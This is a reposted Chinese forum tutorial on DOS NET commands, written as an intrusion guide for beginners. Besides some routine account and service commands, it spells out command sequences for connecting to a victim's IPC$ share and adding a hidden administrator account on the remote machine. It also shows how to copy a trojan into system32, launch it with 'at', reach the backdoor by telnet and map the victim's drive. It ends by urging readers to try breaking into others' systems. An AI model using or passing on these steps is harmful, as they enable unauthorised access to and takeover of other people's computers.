DOS里的NET命令用法

全文转载自：雨林木风交流论坛[WwW.YlmF.Net] --新手必看:DOS之NET命令详解
http://www.ylmf.net/read.php?fid=10&tid=1731844

新手必看:DOS之NET命令详解

net命令：（所有的参数在代码写的教程里都有，我这里给大家介绍几个常用的）
net use
作 用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。
比如说我们现在要入侵一台开了IPC/$服务的电脑(在命令提示符下键入)

net use //ip/ipc/$ "password" /user:"username"
命令成功完成
好现在我们就和那台电脑建立了一个IPC/$连接!~(注:password(密码) username(用户名))
net user
作 用：添加或更改用户帐号或显示用户帐号信息。该命令也可以写为 net users。
如果我们在本机输入:
net user 可以显示本机的用户帐号列表
net user nick /add 在本机上添加一个新用户nick
net user nick /delete 删除掉用户nick
呵呵，那天我在论坛看到有一个朋友问代码兄！~说我已经和一台远程主机建立了ipc/$连接(net use //ip/ipc/$ "password"/user:"username"),为什么我在键入net user,打开的是我本机的用户组啊!~
呵呵,其实这位朋友你现在只是和那台远程的ipc/$肉鸡,建立的ipc/$连接,你并没有通过ipc/$成功的进入那台电脑并那到管理员权限,所以你键入net user当然只能打开自己的用户列表了啊!~

好现在假设我们已经拿到了一台电脑的管理员权限,我们现在键入net user查看他的用户列表
键入net user nick 123 /add (我们在远程主机上新创建了一个用户nick,密码为123)
但是我们现在创建的这个用户只是一个guest的帐号,如果以后我们用这个帐号登陆远程主机时,我们只能
运行一些,应用程序,对系统级操作是没有相应的权限!~现在,我们如何才能让用户nick拥有管理员权限呢?~
这个牵涉到另一个命令:net localgroup 可以先用net localgroup指令列出计算机上的本地组.然后执行:
net localgroup administrators nick /add
这样我们的用户nick就拥有了管理员权限!~很方便你对肉鸡的管理了!~
还有我们的net命令的在你忘记了自己电脑用户密码的时候,也能起决定性的作用!~
比如我现在忘记了我电脑上管理员nick的密码!~
好,我开机按F8进入"带命令提示符的安全模式". 运行过程结束时,系统列出了系统超级用
户"administrator"和本地用户"nick"的选择菜单,鼠标单击"administrator"进入命令行模式.

键入net user nick 123456 /add,强制将"nick"用户的密码改为"123456"!~如果想删除掉nick
键入net user nick /delete,(在新建一个用户"chaoren")键入 net user chaoren 123456 /add,添加后
用net localgroup administrators chaoren /add 把用户chaoren提升为系统管理组"administrators"
的用户,并使其具有超级权限!~

net send
键入net send IP 你好
可以向对方发送信息！~但是，对方一定要开了信使服务！~一般系统默认的情况下是开了的！~

net time
用来查看对方网络的时间。
格式：net time //IP

net start
查看电脑都开了什么服务！~用来了解自己的电脑是否开了什么后门服务。也可以用来启动某个服务。
键入：net start telnet (开启telnet服务)

net stop
用来停止某个服务！~
键入：net stop telnet (停止telnet服务)

呵呵,net我就讲这个多!~好热啊!~喝水.....................

好现在我给大家简单的介绍一下copy命令!~呵呵，copy就是我们常说的拷贝，它不仅可以完成本机的复制同样可以轻松的完成对远程主机的拷贝！~要注意的是copy命令是建立在ipc/$连接基础上的,只有对远程的主机建立了ipc/$连接,我们才可以用
copy上传或者下载文件!~比如说:现在我们已经和一台远程的主机建立了ipc/$连接:net use //ip/ipc/$ "password"/user:"username",呵呵,然
后我们就可以给他上传一个木马上去,先找到木马在本机的路径:
copy c:/muma.exe //ip/c/$/winnt/system32
意思是我把我本机上c内的后门muma.exe传到对方winnt/system32目录下!~注意一定要有这个/$符号!~(/$的意思是隐藏共享,在常规下不会显示为共享状态,但实际上开启了共享.)
好,我们上传成功后,在用at命令远程激活木马格式是:at //ip time muma.exe (木马的用户端)
呵呵,然后，我们在用telnet连接木马所开的后门端口，这样我们就可以轻松的那到远程主机的管理员权限!~
好了,就介绍这个多了!~(手都酸了),要是还有什么不明白的,说提出来.呵呵,要是有什么地方写的不对也
希望大家指出来!~同时也希望我的教程能给新手和菜鸟们一些帮助!~

对了，我差点忘说了！~想学入侵的新手们都注意了，只要能和远程主机建立IPC/$连接,我们就可以映射
它的硬盘!~
如:
net use //ip/ipc/$ "password" /user:"username"
命令成功完成
net use x: //ip/c/$
我们就可以映射远程主机的c盘,在本机上!~而我们上传木马的意思是方便我们以后对肉鸡的管理!~
呵呵,新手们快去试试吧!~祝你们早日体会到进入别人系统时的那种兴奋